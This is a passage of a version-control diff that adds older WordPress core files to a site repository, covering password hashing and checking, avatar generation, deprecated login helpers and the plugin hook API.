+ * @global object $wp_hasher PHPass object
+ * @uses PasswordHash::HashPassword
+ *
+ * @param string $password Plain text user password to hash
+ * @return string The hash string of the password
+ */
+function wp_hash_password($password) {
+	global $wp_hasher;
+
+	if ( empty($wp_hasher) ) {
+		require_once( ABSPATH . 'wp-includes/class-phpass.php');
+		// By default, use the portable hash from phpass
+		$wp_hasher = new PasswordHash(8, TRUE);
+	}
+
+	return $wp_hasher->HashPassword($password);
+}
+endif;
+
+if ( !function_exists('wp_check_password') ) :
+/**
+ * Checks the plaintext password against the encrypted Password.
+ *
+ * Maintains compatibility between old version and the new cookie authentication
+ * protocol using PHPass library. The $hash parameter is the encrypted password
+ * and the function compares the plain text password when encypted similarly
+ * against the already encrypted password to see if they match.
+ *
+ * For integration with other applications, this function can be overwritten to
+ * instead use the other package password checking algorithm.
+ *
+ * @since 2.5
+ * @global object $wp_hasher PHPass object used for checking the password
+ *	against the $hash + $password
+ * @uses PasswordHash::CheckPassword
+ *
+ * @param string $password Plaintext user's password
+ * @param string $hash Hash of the user's password to check against.
+ * @return bool False, if the $password does not match the hashed password
+ */
+function wp_check_password($password, $hash, $user_id = '') {
+	global $wp_hasher;
+
+	// If the hash is still md5...
+	if ( strlen($hash) <= 32 ) {
+		$check = ( $hash == md5($password) );
+		if ( $check && $user_id ) {
+			// Rehash using new hash.
+			wp_set_password($password, $user_id);
+			$hash = wp_hash_password($password);
+		}
+
+		return apply_filters('check_password', $check, $password, $hash, $user_id);
+	}
+
+	// If the stored hash is longer than an MD5, presume the
+	// new style phpass portable hash.
+	if ( empty($wp_hasher) ) {
+		require_once( ABSPATH . 'wp-includes/class-phpass.php');
+		// By default, use the portable hash from phpass
+		$wp_hasher = new PasswordHash(8, TRUE);
+	}
+
+	$check = $wp_hasher->CheckPassword($password, $hash);
+
+	return apply_filters('check_password', $check, $password, $hash, $user_id);
+}
+endif;
+
+if ( !function_exists('wp_generate_password') ) :
+/**
+ * Generates a random password drawn from the defined set of characters.
+ *
+ * @since 2.5
+ *
+ * @param int $length The length of password to generate
+ * @param bool $special_chars Whether to include standard special characters
+ * @return string The random password
+ **/
+function wp_generate_password($length = 12, $special_chars = true) {
+	$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
+	if ( $special_chars )
+		$chars .= '!@#$%^&*()';
+
+	$password = '';
+	for ( $i = 0; $i < $length; $i++ )
+		$password .= substr($chars, wp_rand(0, strlen($chars) - 1), 1);
+	return $password;
+}
+endif;
+
+if ( !function_exists('wp_rand') ) :
+ /**
+ * Generates a random number
+ *
+ * @since 2.6.2
+ *
+ * @param int $min Lower limit for the generated number (optional, default is 0)
+ * @param int $max Upper limit for the generated number (optional, default is 4294967295)
+ * @return int A random number between min and max
+ */
+function wp_rand( $min = 0, $max = 0 ) {
+	global $rnd_value;
+
+	$seed = get_transient('random_seed');
+
+	// Reset $rnd_value after 14 uses
+	// 32(md5) + 40(sha1) + 40(sha1) / 8 = 14 random numbers from $rnd_value
+	if ( strlen($rnd_value) < 8 ) {
+		$rnd_value = md5( uniqid(microtime() . mt_rand(), true ) . $seed );
+		$rnd_value .= sha1($rnd_value);
+		$rnd_value .= sha1($rnd_value . $seed);
+		$seed = md5($seed . $rnd_value);
+		set_transient('random_seed', $seed);
+	}
+
+	// Take the first 8 digits for our value
+	$value = substr($rnd_value, 0, 8);
+
+	// Strip the first eight, leaving the remainder for the next call to wp_rand().
+	$rnd_value = substr($rnd_value, 8);
+
+	$value = abs(hexdec($value));
+
+	// Reduce the value to be within the min - max range
+	// 4294967295 = 0xffffffff = max random number
+	if ( $max != 0 )
+		$value = $min + (($max - $min + 1) * ($value / (4294967295 + 1)));
+
+	return abs(intval($value));
+}
+endif;
+
+if ( !function_exists('wp_set_password') ) :
+/**
+ * Updates the user's password with a new encrypted one.
+ *
+ * For integration with other applications, this function can be overwritten to
+ * instead use the other package password checking algorithm.
+ *
+ * @since 2.5
+ * @uses $wpdb WordPress database object for queries
+ * @uses wp_hash_password() Used to encrypt the user's password before passing to the database
+ *
+ * @param string $password The plaintext new user password
+ * @param int $user_id User ID
+ */
+function wp_set_password( $password, $user_id ) {
+	global $wpdb;
+
+	$hash = wp_hash_password($password);
+	$wpdb->update($wpdb->users, array('user_pass' => $hash, 'user_activation_key' => ''), array('ID' => $user_id) );
+
+	wp_cache_delete($user_id, 'users');
+}
+endif;
+
+if ( !function_exists( 'get_avatar' ) ) :
+/**
+ * Retrieve the avatar for a user who provided a user ID or email address.
+ *
+ * @since 2.5
+ * @param int|string|object $id_or_email A user ID,  email address, or comment object
+ * @param int $size Size of the avatar image
+ * @param string $default URL to a default image to use if no avatar is available
+ * @param string $alt Alternate text to use in image tag. Defaults to blank
+ * @return string <img> tag for the user's avatar
+*/
+function get_avatar( $id_or_email, $size = '96', $default = '', $alt = false ) {
+	if ( ! get_option('show_avatars') )
+		return false;
+
+	if ( false === $alt)
+		$safe_alt = '';
+	else
+		$safe_alt = esc_attr( $alt );
+
+	if ( !is_numeric($size) )
+		$size = '96';
+
+	$email = '';
+	if ( is_numeric($id_or_email) ) {
+		$id = (int) $id_or_email;
+		$user = get_userdata($id);
+		if ( $user )
+			$email = $user->user_email;
+	} elseif ( is_object($id_or_email) ) {
+		if ( isset($id_or_email->comment_type) && '' != $id_or_email->comment_type && 'comment' != $id_or_email->comment_type )
+			return false; // No avatar for pingbacks or trackbacks
+
+		if ( !empty($id_or_email->user_id) ) {
+			$id = (int) $id_or_email->user_id;
+			$user = get_userdata($id);
+			if ( $user)
+				$email = $user->user_email;
+		} elseif ( !empty($id_or_email->comment_author_email) ) {
+			$email = $id_or_email->comment_author_email;
+		}
+	} else {
+		$email = $id_or_email;
+	}
+
+	if ( empty($default) ) {
+		$avatar_default = get_option('avatar_default');
+		if ( empty($avatar_default) )
+			$default = 'mystery';
+		else
+			$default = $avatar_default;
+	}
+
+ 	if ( is_ssl() )
+		$host = 'https://secure.gravatar.com';
+	else
+		$host = 'http://www.gravatar.com';
+
+	if ( 'mystery' == $default )
+		$default = "$host/avatar/ad516503a11cd5ca435acc9bb6523536?s={$size}"; // ad516503a11cd5ca435acc9bb6523536 == md5('unknown@gravatar.com')
+	elseif ( 'blank' == $default )
+		$default = includes_url('images/blank.gif');
+	elseif ( !empty($email) && 'gravatar_default' == $default )
+		$default = '';
+	elseif ( 'gravatar_default' == $default )
+		$default = "$host/avatar/s={$size}";
+	elseif ( empty($email) )
+		$default = "$host/avatar/?d=$default&amp;s={$size}";
+	elseif ( strpos($default, 'http://') === 0 )
+		$default = add_query_arg( 's', $size, $default );
+
+	if ( !empty($email) ) {
+		$out = "$host/avatar/";
+		$out .= md5( strtolower( $email ) );
+		$out .= '?s='.$size;
+		$out .= '&amp;d=' . urlencode( $default );
+
+		$rating = get_option('avatar_rating');
+		if ( !empty( $rating ) )
+			$out .= "&amp;r={$rating}";
+
+		$avatar = "<img alt='{$safe_alt}' src='{$out}' class='avatar avatar-{$size} photo' height='{$size}' width='{$size}' />";
+	} else {
+		$avatar = "<img alt='{$safe_alt}' src='{$default}' class='avatar avatar-{$size} photo avatar-default' height='{$size}' width='{$size}' />";
+	}
+
+	return apply_filters('get_avatar', $avatar, $id_or_email, $size, $default, $alt);
+}
+endif;
+
+if ( !function_exists('wp_setcookie') ) :
+/**
+ * Sets a cookie for a user who just logged in.
+ *
+ * @since 1.5
+ * @deprecated Use wp_set_auth_cookie()
+ * @see wp_set_auth_cookie()
+ *
+ * @param string  $username The user's username
+ * @param string  $password Optional. The user's password
+ * @param bool $already_md5 Optional. Whether the password has already been through MD5
+ * @param string $home Optional. Will be used instead of COOKIEPATH if set
+ * @param string $siteurl Optional. Will be used instead of SITECOOKIEPATH if set
+ * @param bool $remember Optional. Remember that the user is logged in
+ */
+function wp_setcookie($username, $password = '', $already_md5 = false, $home = '', $siteurl = '', $remember = false) {
+	_deprecated_function( __FUNCTION__, '2.5', 'wp_set_auth_cookie()' );
+	$user = get_userdatabylogin($username);
+	wp_set_auth_cookie($user->ID, $remember);
+}
+endif;
+
+if ( !function_exists('wp_clearcookie') ) :
+/**
+ * Clears the authentication cookie, logging the user out.
+ *
+ * @since 1.5
+ * @deprecated Use wp_clear_auth_cookie()
+ * @see wp_clear_auth_cookie()
+ */
+function wp_clearcookie() {
+	_deprecated_function( __FUNCTION__, '2.5', 'wp_clear_auth_cookie()' );
+	wp_clear_auth_cookie();
+}
+endif;
+
+if ( !function_exists('wp_get_cookie_login') ):
+/**
+ * Gets the user cookie login.
+ *
+ * This function is deprecated and should no longer be extended as it won't be
+ * used anywhere in WordPress. Also, plugins shouldn't use it either.
+ *
+ * @since 2.0.3
+ * @deprecated No alternative
+ *
+ * @return bool Always returns false
+ */
+function wp_get_cookie_login() {
+	_deprecated_function( __FUNCTION__, '2.5', '' );
+	return false;
+}
+endif;
+
+if ( !function_exists('wp_login') ) :
+/**
+ * Checks a users login information and logs them in if it checks out.
+ *
+ * Use the global $error to get the reason why the login failed. If the username
+ * is blank, no error will be set, so assume blank username on that case.
+ *
+ * Plugins extending this function should also provide the global $error and set
+ * what the error is, so that those checking the global for why there was a
+ * failure can utilize it later.
+ *
+ * @since 1.2.2
+ * @deprecated Use wp_signon()
+ * @global string $error Error when false is returned
+ *
+ * @param string $username User's username
+ * @param string $password User's password
+ * @param bool $deprecated Not used
+ * @return bool False on login failure, true on successful check
+ */
+function wp_login($username, $password, $deprecated = '') {
+	global $error;
+
+	$user = wp_authenticate($username, $password);
+
+	if ( ! is_wp_error($user) )
+		return true;
+
+	$error = $user->get_error_message();
+	return false;
+}
+endif;
+
+if ( !function_exists( 'wp_text_diff' ) ) :
+/**
+ * Displays a human readable HTML representation of the difference between two strings.
+ *
+ * The Diff is available for getting the changes between versions. The output is
+ * HTML, so the primary use is for displaying the changes. If the two strings
+ * are equivalent, then an empty string will be returned.
+ *
+ * The arguments supported and can be changed are listed below.
+ *
+ * 'title' : Default is an empty string. Titles the diff in a manner compatible
+ *		with the output.
+ * 'title_left' : Default is an empty string. Change the HTML to the left of the
+ *		title.
+ * 'title_right' : Default is an empty string. Change the HTML to the right of
+ *		the title.
+ *
+ * @since 2.6
+ * @see wp_parse_args() Used to change defaults to user defined settings.
+ * @uses Text_Diff
+ * @uses WP_Text_Diff_Renderer_Table
+ *
+ * @param string $left_string "old" (left) version of string
+ * @param string $right_string "new" (right) version of string
+ * @param string|array $args Optional. Change 'title', 'title_left', and 'title_right' defaults.
+ * @return string Empty string if strings are equivalent or HTML with differences.
+ */
+function wp_text_diff( $left_string, $right_string, $args = null ) {
+	$defaults = array( 'title' => '', 'title_left' => '', 'title_right' => '' );
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( !class_exists( 'WP_Text_Diff_Renderer_Table' ) )
+		require( ABSPATH . WPINC . '/wp-diff.php' );
+
+	$left_string  = normalize_whitespace($left_string);
+	$right_string = normalize_whitespace($right_string);
+
+	$left_lines  = split("\n", $left_string);
+	$right_lines = split("\n", $right_string);
+
+	$text_diff = new Text_Diff($left_lines, $right_lines);
+	$renderer  = new WP_Text_Diff_Renderer_Table();
+	$diff = $renderer->render($text_diff);
+
+	if ( !$diff )
+		return '';
+
+	$r  = "<table class='diff'>\n";
+	$r .= "<col class='ltype' /><col class='content' /><col class='ltype' /><col class='content' />";
+
+	if ( $args['title'] || $args['title_left'] || $args['title_right'] )
+		$r .= "<thead>";
+	if ( $args['title'] )
+		$r .= "<tr class='diff-title'><th colspan='4'>$args[title]</th></tr>\n";
+	if ( $args['title_left'] || $args['title_right'] ) {
+		$r .= "<tr class='diff-sub-title'>\n";
+		$r .= "\t<td></td><th>$args[title_left]</th>\n";
+		$r .= "\t<td></td><th>$args[title_right]</th>\n";
+		$r .= "</tr>\n";
+	}
+	if ( $args['title'] || $args['title_left'] || $args['title_right'] )
+		$r .= "</thead>\n";
+
+	$r .= "<tbody>\n$diff\n</tbody>\n";
+	$r .= "</table>";
+
+	return $r;
+}
+endif;
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/plugin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/plugin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/plugin.php	(revision 44)
@@ -0,0 +1,698 @@
+<?php
+/**
+ * The plugin API is located in this file, which allows for creating actions
+ * and filters and hooking functions, and methods. The functions or methods will
+ * then be run when the action or filter is called.
+ *
+ * The API callback examples reference functions, but can be methods of classes.
+ * To hook methods, you'll need to pass an array one of two ways.
+ *
+ * Any of the syntaxes explained in the PHP documentation for the
+ * {@link http://us2.php.net/manual/en/language.pseudo-types.php#language.types.callback 'callback'}
+ * type are valid.
+ *
+ * Also see the {@link http://codex.wordpress.org/Plugin_API Plugin API} for
+ * more information and examples on how to use a lot of these functions.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 1.5
+ */
+
+/**
+ * Hooks a function or method to a specific filter action.
+ *
+ * Filters are the hooks that WordPress launches to modify text of various types
+ * before adding it to the database or sending it to the browser screen. Plugins
+ * can specify that one or more of its PHP functions is executed to
+ * modify specific types of text at these times, using the Filter API.
+ *
+ * To use the API, the following code should be used to bind a callback to the
+ * filter.
+ *
+ * <code>
+ * function example_hook($example) { echo $example; }
+ * add_filter('example_filter', 'example_hook');
+ * </code>
+ *
+ * In WordPress 1.5.1+, hooked functions can take extra arguments that are set
+ * when the matching do_action() or apply_filters() call is run. The
+ * $accepted_args allow for calling functions only when the number of args
+ * match. Hooked functions can take extra arguments that are set when the
+ * matching do_action() or apply_filters() call is run. For example, the action
+ * comment_id_not_found will pass any functions that hook onto it the ID of the
+ * requested comment.
+ *
+ * <strong>Note:</strong> the function will return true no matter if the
+ * function was hooked fails or not. There are no checks for whether the
+ * function exists beforehand and no checks to whether the <tt>$function_to_add
+ * is even a string. It is up to you to take care and this is done for
+ * optimization purposes, so everything is as quick as possible.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 0.71
+ * @global array $wp_filter Stores all of the filters added in the form of
+ *	wp_filter['tag']['array of priorities']['array of functions serialized']['array of ['array (functions, accepted_args)']']
+ * @global array $merged_filters Tracks the tags that need to be merged for later. If the hook is added, it doesn't need to run through that process.
+ *
+ * @param string $tag The name of the filter to hook the $function_to_add to.
+ * @param callback $function_to_add The name of the function to be called when the filter is applied.
+ * @param int $priority optional. Used to specify the order in which the functions associated with a particular action are executed (default: 10). Lower numbers correspond with earlier execution, and functions with the same priority are executed in the order in which they were added to the action.
+ * @param int $accepted_args optional. The number of arguments the function accept (default 1).
+ * @return boolean true
+ */
+function add_filter($tag, $function_to_add, $priority = 10, $accepted_args = 1) {
+	global $wp_filter, $merged_filters;
+
+	$idx = _wp_filter_build_unique_id($tag, $function_to_add, $priority);
+	$wp_filter[$tag][$priority][$idx] = array('function' => $function_to_add, 'accepted_args' => $accepted_args);
+	unset( $merged_filters[ $tag ] );
+	return true;
+}
+
+/**
+ * Check if any filter has been registered for a hook.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 2.5
+ * @global array $wp_filter Stores all of the filters
+ *
+ * @param string $tag The name of the filter hook.
+ * @param callback $function_to_check optional.  If specified, return the priority of that function on this hook or false if not attached.
+ * @return int|boolean Optionally returns the priority on that hook for the specified function.
+ */
+function has_filter($tag, $function_to_check = false) {
+	global $wp_filter;
+
+	$has = !empty($wp_filter[$tag]);
+	if ( false === $function_to_check || false == $has )
+		return $has;
+
+	if ( !$idx = _wp_filter_build_unique_id($tag, $function_to_check, false) )
+		return false;
+
+	foreach ( (array) array_keys($wp_filter[$tag]) as $priority ) {
+		if ( isset($wp_filter[$tag][$priority][$idx]) )
+			return $priority;
+	}
+
+	return false;
+}
+
+/**
+ * Call the functions added to a filter hook.
+ *
+ * The callback functions attached to filter hook $tag are invoked by calling
+ * this function. This function can be used to create a new filter hook by
+ * simply calling this function with the name of the new hook specified using
+ * the $tag parameter.
+ *
+ * The function allows for additional arguments to be added and passed to hooks.
+ * <code>
+ * function example_hook($string, $arg1, $arg2)
+ * {
+ *		//Do stuff
+ *		return $string;
+ * }
+ * $value = apply_filters('example_filter', 'filter me', 'arg1', 'arg2');
+ * </code>
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 0.71
+ * @global array $wp_filter Stores all of the filters
+ * @global array $merged_filters Merges the filter hooks using this function.
+ * @global array $wp_current_filter stores the list of current filters with the current one last
+ *
+ * @param string $tag The name of the filter hook.
+ * @param mixed $value The value on which the filters hooked to <tt>$tag</tt> are applied on.
+ * @param mixed $var,... Additional variables passed to the functions hooked to <tt>$tag</tt>.
+ * @return mixed The filtered value after all hooked functions are applied to it.
+ */
+function apply_filters($tag, $value) {
+	global $wp_filter, $merged_filters, $wp_current_filter;
+
+	$args = array();
+	$wp_current_filter[] = $tag;
+
+	// Do 'all' actions first
+	if ( isset($wp_filter['all']) ) {
+		$args = func_get_args();
+		_wp_call_all_hook($args);
+	}
+
+	if ( !isset($wp_filter[$tag]) ) {
+		array_pop($wp_current_filter);
+		return $value;
+	}
+
+	// Sort
+	if ( !isset( $merged_filters[ $tag ] ) ) {
+		ksort($wp_filter[$tag]);
+		$merged_filters[ $tag ] = true;
+	}
+
+	reset( $wp_filter[ $tag ] );
+
+	if ( empty($args) )
+		$args = func_get_args();
+
+	do {
+		foreach( (array) current($wp_filter[$tag]) as $the_ )
+			if ( !is_null($the_['function']) ){
+				$args[1] = $value;
+				$value = call_user_func_array($the_['function'], array_slice($args, 1, (int) $the_['accepted_args']));
+			}
+
+	} while ( next($wp_filter[$tag]) !== false );
+
+	array_pop( $wp_current_filter );
+
+	return $value;
+}
+
+/**
+ * Removes a function from a specified filter hook.
+ *
+ * This function removes a function attached to a specified filter hook. This
+ * method can be used to remove default functions attached to a specific filter
+ * hook and possibly replace them with a substitute.
+ *
+ * To remove a hook, the $function_to_remove and $priority arguments must match
+ * when the hook was added. This goes for both filters and actions. No warning
+ * will be given on removal failure.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 1.2
+ *
+ * @param string $tag The filter hook to which the function to be removed is hooked.
+ * @param callback $function_to_remove The name of the function which should be removed.
+ * @param int $priority optional. The priority of the function (default: 10).
+ * @param int $accepted_args optional. The number of arguments the function accpets (default: 1).
+ * @return boolean Whether the function existed before it was removed.
+ */
+function remove_filter($tag, $function_to_remove, $priority = 10, $accepted_args = 1) {
+	$function_to_remove = _wp_filter_build_unique_id($tag, $function_to_remove, $priority);
+
+	$r = isset($GLOBALS['wp_filter'][$tag][$priority][$function_to_remove]);
+
+	if ( true === $r) {
+		unset($GLOBALS['wp_filter'][$tag][$priority][$function_to_remove]);
+		if ( empty($GLOBALS['wp_filter'][$tag][$priority]) )
+			unset($GLOBALS['wp_filter'][$tag][$priority]);
+		unset($GLOBALS['merged_filters'][$tag]);
+	}
+
+	return $r;
+}
+
+/**
+ * Remove all of the hooks from a filter.
+ *
+ * @since 2.7
+ *
+ * @param string $tag The filter to remove hooks from.
+ * @param int $priority The priority number to remove.
+ * @return bool True when finished.
+ */
+function remove_all_filters($tag, $priority = false) {
+	global $wp_filter, $merged_filters;
+
+	if( isset($wp_filter[$tag]) ) {
+		if( false !== $priority && isset($$wp_filter[$tag][$priority]) )
+			unset($wp_filter[$tag][$priority]);
+		else
+			unset($wp_filter[$tag]);
+	}
+
+	if( isset($merged_filters[$tag]) )
+		unset($merged_filters[$tag]);
+
+	return true;
+}
+
+/**
+ * Retrieve the name of the current filter or action.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 2.5
+ *
+ * @return string Hook name of the current filter or action.
+ */
+function current_filter() {
+	global $wp_current_filter;
+	return end( $wp_current_filter );
+}
+
+
+/**
+ * Hooks a function on to a specific action.
+ *
+ * Actions are the hooks that the WordPress core launches at specific points
+ * during execution, or when specific events occur. Plugins can specify that
+ * one or more of its PHP functions are executed at these points, using the
+ * Action API.
+ *
+ * @uses add_filter() Adds an action. Parameter list and functionality are the same.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 1.2
+ *
+ * @param string $tag The name of the action to which the $function_to_add is hooked.
+ * @param callback $function_to_add The name of the function you wish to be called.
+ * @param int $priority optional. Used to specify the order in which the functions associated with a particular action are executed (default: 10). Lower numbers correspond with earlier execution, and functions with the same priority are executed in the order in which they were added to the action.
+ * @param int $accepted_args optional. The number of arguments the function accept (default 1).
+ */
+function add_action($tag, $function_to_add, $priority = 10, $accepted_args = 1) {
+	return add_filter($tag, $function_to_add, $priority, $accepted_args);
+}
+
+
+/**
+ * Execute functions hooked on a specific action hook.
+ *
+ * This function invokes all functions attached to action hook $tag. It is
+ * possible to create new action hooks by simply calling this function,
+ * specifying the name of the new hook using the <tt>$tag</tt> parameter.
+ *
+ * You can pass extra arguments to the hooks, much like you can with
+ * apply_filters().
+ *
+ * @see apply_filters() This function works similar with the exception that
+ * nothing is returned and only the functions or methods are called.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 1.2
+ * @global array $wp_filter Stores all of the filters
+ * @global array $wp_actions Increments the amount of times action was triggered.
+ *
+ * @param string $tag The name of the action to be executed.
+ * @param mixed $arg,... Optional additional arguments which are passed on to the functions hooked to the action.
+ * @return null Will return null if $tag does not exist in $wp_filter array
+ */
+function do_action($tag, $arg = '') {
+	global $wp_filter, $wp_actions, $merged_filters, $wp_current_filter;
+
+	if ( is_array($wp_actions) )
+		$wp_actions[] = $tag;
+	else
+		$wp_actions = array($tag);
+
+	$wp_current_filter[] = $tag;
+
+	// Do 'all' actions first
+	if ( isset($wp_filter['all']) ) {
+		$all_args = func_get_args();
+		_wp_call_all_hook($all_args);
+	}
+
+	if ( !isset($wp_filter[$tag]) ) {
+		array_pop($wp_current_filter);
+		return;
+	}
+
+	$args = array();
+	if ( is_array($arg) && 1 == count($arg) && is_object($arg[0]) ) // array(&$this)
+		$args[] =& $arg[0];
+	else
+		$args[] = $arg;
+	for ( $a = 2; $a < func_num_args(); $a++ )
+		$args[] = func_get_arg($a);
+
+	// Sort
+	if ( !isset( $merged_filters[ $tag ] ) ) {
+		ksort($wp_filter[$tag]);
+		$merged_filters[ $tag ] = true;
+	}
+
+	reset( $wp_filter[ $tag ] );
+
+	do {
+		foreach ( (array) current($wp_filter[$tag]) as $the_ )
+			if ( !is_null($the_['function']) )
+				call_user_func_array($the_['function'], array_slice($args, 0, (int) $the_['accepted_args']));
+
+	} while ( next($wp_filter[$tag]) !== false );
+
+	array_pop($wp_current_filter);
+}
+
+/**
+ * Retrieve the number times an action is fired.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 2.1
+ * @global array $wp_actions Increments the amount of times action was triggered.
+ *
+ * @param string $tag The name of the action hook.
+ * @return int The number of times action hook <tt>$tag</tt> is fired
+ */
+function did_action($tag) {
+	global $wp_actions;
+
+	if ( empty($wp_actions) )
+		return 0;
+
+	return count(array_keys($wp_actions, $tag));
+}
+
+/**
+ * Execute functions hooked on a specific action hook, specifying arguments in an array.
+ *
+ * @see do_action() This function is identical, but the arguments passed to the
+ * functions hooked to <tt>$tag</tt> are supplied using an array.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 2.1
+ * @global array $wp_filter Stores all of the filters
+ * @global array $wp_actions Increments the amount of times action was triggered.
+ *
+ * @param string $tag The name of the action to be executed.
+ * @param array $args The arguments supplied to the functions hooked to <tt>$tag</tt>
+ * @return null Will return null if $tag does not exist in $wp_filter array
+ */
+function do_action_ref_array($tag, $args) {
+	global $wp_filter, $wp_actions, $merged_filters, $wp_current_filter;
+
+	if ( !is_array($wp_actions) )
+		$wp_actions = array($tag);
+	else
+		$wp_actions[] = $tag;
+
+	$wp_current_filter[] = $tag;
+
+	// Do 'all' actions first
+	if ( isset($wp_filter['all']) ) {
+		$all_args = func_get_args();
+		_wp_call_all_hook($all_args);
+	}
+
+	if ( !isset($wp_filter[$tag]) ) {
+		array_pop($wp_current_filter);
+		return;
+	}
+
+	// Sort
+	if ( !isset( $merged_filters[ $tag ] ) ) {
+		ksort($wp_filter[$tag]);
+		$merged_filters[ $tag ] = true;
+	}
+
+	reset( $wp_filter[ $tag ] );
+
+	do {
+		foreach( (array) current($wp_filter[$tag]) as $the_ )
+			if ( !is_null($the_['function']) )
+				call_user_func_array($the_['function'], array_slice($args, 0, (int) $the_['accepted_args']));
+
+	} while ( next($wp_filter[$tag]) !== false );
+
+	array_pop($wp_current_filter);
+}
+
+/**
+ * Check if any action has been registered for a hook.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 2.5
+ * @see has_filter() has_action() is an alias of has_filter().
+ *
+ * @param string $tag The name of the action hook.
+ * @param callback $function_to_check optional.  If specified, return the priority of that function on this hook or false if not attached.
+ * @return int|boolean Optionally returns the priority on that hook for the specified function.
+ */
+function has_action($tag, $function_to_check = false) {
+	return has_filter($tag, $function_to_check);
+}
+
+/**
+ * Removes a function from a specified action hook.
+ *
+ * This function removes a function attached to a specified action hook. This
+ * method can be used to remove default functions attached to a specific filter
+ * hook and possibly replace them with a substitute.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 1.2
+ *
+ * @param string $tag The action hook to which the function to be removed is hooked.
+ * @param callback $function_to_remove The name of the function which should be removed.
+ * @param int $priority optional The priority of the function (default: 10).
+ * @param int $accepted_args optional. The number of arguments the function accpets (default: 1).
+ * @return boolean Whether the function is removed.
+ */
+function remove_action($tag, $function_to_remove, $priority = 10, $accepted_args = 1) {
+	return remove_filter($tag, $function_to_remove, $priority, $accepted_args);
+}
+
+/**
+ * Remove all of the hooks from an action.
+ *
+ * @since 2.7
+ *
+ * @param string $tag The action to remove hooks from.
+ * @param int $priority The priority number to remove them from.
+ * @return bool True when finished.
+ */
+function remove_all_actions($tag, $priority = false) {
+	return remove_all_filters($tag, $priority);
+}
+
+//
+// Functions for handling plugins.
+//
+
+/**
+ * Gets the basename of a plugin.
+ *
+ * This method extracts the name of a plugin from its filename.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 1.5
+ *
+ * @access private
+ *
+ * @param string $file The filename of plugin.
+ * @return string The name of a plugin.
+ * @uses WP_PLUGIN_DIR
+ */
+function plugin_basename($file) {
+	$file = str_replace('\\','/',$file); // sanitize for Win32 installs
+	$file = preg_replace('|/+|','/', $file); // remove any duplicate slash
+	$plugin_dir = str_replace('\\','/',WP_PLUGIN_DIR); // sanitize for Win32 installs
+	$plugin_dir = preg_replace('|/+|','/', $plugin_dir); // remove any duplicate slash
+	$mu_plugin_dir = str_replace('\\','/',WPMU_PLUGIN_DIR); // sanitize for Win32 installs
+	$mu_plugin_dir = preg_replace('|/+|','/', $mu_plugin_dir); // remove any duplicate slash
+	$file = preg_replace('#^' . preg_quote($plugin_dir, '#') . '/|^' . preg_quote($mu_plugin_dir, '#') . '/#','',$file); // get relative path from plugins dir
+	$file = trim($file, '/');
+	return $file;
+}
+
+/**
+ * Gets the filesystem directory path (with trailing slash) for the plugin __FILE__ passed in
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 2.8
+ *
+ * @param string $file The filename of the plugin (__FILE__)
+ * @return string the filesystem path of the directory that contains the plugin
+ */
+function plugin_dir_path( $file ) {
+	return trailingslashit( dirname( $file ) );
+}
+
+/**
+ * Gets the URL directory path (with trailing slash) for the plugin __FILE__ passed in
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 2.8
+ *
+ * @param string $file The filename of the plugin (__FILE__)
+ * @return string the URL path of the directory that contains the plugin
+ */
+function plugin_dir_url( $file ) {
+	return trailingslashit( plugins_url( '', $file ) );
+}
+
+/**
+ * Set the activation hook for a plugin.
+ *
+ * When a plugin is activated, the action 'activate_PLUGINNAME' hook is
+ * activated. In the name of this hook, PLUGINNAME is replaced with the name of
+ * the plugin, including the optional subdirectory. For example, when the plugin
+ * is located in wp-content/plugin/sampleplugin/sample.php, then the name of
+ * this hook will become 'activate_sampleplugin/sample.php'. When the plugin
+ * consists of only one file and is (as by default) located at
+ * wp-content/plugin/sample.php the name of this hook will be
+ * 'activate_sample.php'.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 2.0
+ *
+ * @param string $file The filename of the plugin including the path.
+ * @param callback $function the function hooked to the 'activate_PLUGIN' action.
+ */
+function register_activation_hook($file, $function) {
+	$file = plugin_basename($file);
+	add_action('activate_' . $file, $function);
+}
+
+/**
+ * Set the deactivation hook for a plugin.
+ *
+ * When a plugin is deactivated, the action 'deactivate_PLUGINNAME' hook is
+ * deactivated. In the name of this hook, PLUGINNAME is replaced with the name
+ * of the plugin, including the optional subdirectory. For example, when the
+ * plugin is located in wp-content/plugin/sampleplugin/sample.php, then
+ * the name of this hook will become 'activate_sampleplugin/sample.php'.
+ *
+ * When the plugin consists of only one file and is (as by default) located at
+ * wp-content/plugin/sample.php the name of this hook will be
+ * 'activate_sample.php'.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 2.0
+ *
+ * @param string $file The filename of the plugin including the path.
+ * @param callback $function the function hooked to the 'activate_PLUGIN' action.
+ */
+function register_deactivation_hook($file, $function) {
+	$file = plugin_basename($file);
+	add_action('deactivate_' . $file, $function);
+}
+
+/**
+ * Set the uninstallation hook for a plugin.
+ *
+ * Registers the uninstall hook that will be called when the user clicks on the
+ * uninstall link that calls for the plugin to uninstall itself. The link won't
+ * be active unless the plugin hooks into the action.
+ *
+ * The plugin should not run arbitrary code outside of functions, when
+ * registering the uninstall hook. In order to run using the hook, the plugin
+ * will have to be included, which means that any code laying outside of a
+ * function will be run during the uninstall process. The plugin should not
+ * hinder the uninstall process.
+ *
+ * If the plugin can not be written without running code within the plugin, then
+ * the plugin should create a file named 'uninstall.php' in the base plugin
